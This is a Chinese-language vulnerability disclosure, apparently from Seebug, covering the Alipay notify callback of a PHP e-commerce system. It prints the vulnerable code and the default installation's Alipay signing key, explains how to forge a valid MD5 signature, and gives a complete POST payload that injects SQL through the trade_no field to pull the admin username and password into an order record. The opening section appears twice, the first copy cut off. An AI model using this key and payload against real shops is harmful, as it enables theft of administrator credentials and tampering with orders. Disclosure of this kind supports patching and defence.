### 简要描述: rt ### 详细说明: /include/plugin/payway/alipay/notify_url_db.php ``` $alipayNotify = new AlipayNotify($alipay_config); $verify_result = $alipayNotify->verifyNotify(); //验证成功 if ($verify_result) { //商户订单号 $out_trade_no = $_POST['out_trade_no']; //支付宝交易号 $trade_no = $_POST['trade_no']; $info = $db->pe_select('order', array('order_id'=>$out_trade_no)); //该判断表示买家已在支付宝交易管理中产生了交易记录,但没有付款 if ($_POST['trade_status'] == 'WAIT_BUYER_PAY') { echo "success";//请不要修改或删除 } //该判断表示买家已在支付宝交易管理中产生了交易记录且付款成功,但卖家没有发货 elseif ($_POST['trade_status'] == 'WAIT_SELLER_SEND_GOODS') { if ($info['order_state'] == 'notpay') { $order['order_outid'] = $trade_no; $order['order_payway'] = 'alipay_db'; $order['order_state'] = 'paid'; $order['order_ptime'] = time(); $db->pe_update('order', array('order_id'=>$out_trade_no), $order); } echo "success";//请不要修改或删除 } //该判断表示卖家已经发了货,但买家还没有做确认收货的操作 elseif ($_POST['trade_status'] == 'WAIT_BUYER_CONFIRM_GOODS') { if ($info['order_state'] == 'paid') {...
### 简要描述: rt ### 详细说明: /include/plugin/payway/alipay/notify_url_db.php ``` $alipayNotify = new AlipayNotify($alipay_config); $verify_result = $alipayNotify->verifyNotify(); //验证成功 if ($verify_result) { //商户订单号 $out_trade_no = $_POST['out_trade_no']; //支付宝交易号 $trade_no = $_POST['trade_no']; $info = $db->pe_select('order', array('order_id'=>$out_trade_no)); //该判断表示买家已在支付宝交易管理中产生了交易记录,但没有付款 if ($_POST['trade_status'] == 'WAIT_BUYER_PAY') { echo "success";//请不要修改或删除 } //该判断表示买家已在支付宝交易管理中产生了交易记录且付款成功,但卖家没有发货 elseif ($_POST['trade_status'] == 'WAIT_SELLER_SEND_GOODS') { if ($info['order_state'] == 'notpay') { $order['order_outid'] = $trade_no; $order['order_payway'] = 'alipay_db'; $order['order_state'] = 'paid'; $order['order_ptime'] = time(); $db->pe_update('order', array('order_id'=>$out_trade_no), $order); } echo "success";//请不要修改或删除 } //该判断表示卖家已经发了货,但买家还没有做确认收货的操作 elseif ($_POST['trade_status'] == 'WAIT_BUYER_CONFIRM_GOODS') { if ($info['order_state'] == 'paid') { $order['order_state'] = 'send'; $order['order_stime'] = time(); $db->pe_update('order', array('order_id'=>$out_trade_no), $order); ``` trade_no out_trade_no 都没有过滤,如何 verify_result为 ture? 默认安装时, ``` alipay_key = esfsclzgahxncgzi3bbe7giwa2ywxyv3 ``` ``` function md5Verify($prestr, $sign, $key) { $prestr = $prestr . $key; $mysgin = md5($prestr); if($mysgin == $sign) { return true; } ``` 当 sign等于 post的数据与key做md5加密 后的值时,即为ture。 前台买个商品,记下订单号 [<img src="https://images.seebug.org/upload/201501/151602558b6a08d0737f6eef3e4fdf2293f40f8c.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/151602558b6a08d0737f6eef3e4fdf2293f40f8c.png) 提交数据 [<img src="https://images.seebug.org/upload/201501/1516034722f288ec93552583da147c3b54d89906.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/1516034722f288ec93552583da147c3b54d89906.jpg) ``` sign=c716ce88d4e890cb28d5b87366873d8f&out_trade_no=1501150001&trade_no=0',user_address=(select concat(admin_name,0x3c,admin_pw) from pe_admin limit 1),user_phone='1&trade_status=WAIT_SELLER_SEND_GOODS ``` 然后 查看订单,数据就出来咯~ [<img src="https://images.seebug.org/upload/201501/15160708372e705558b9dbd101c9eec1621c8305.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/15160708372e705558b9dbd101c9eec1621c8305.jpg) ### 漏洞证明: [<img src="https://images.seebug.org/upload/201501/15160708372e705558b9dbd101c9eec1621c8305.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/15160708372e705558b9dbd101c9eec1621c8305.jpg)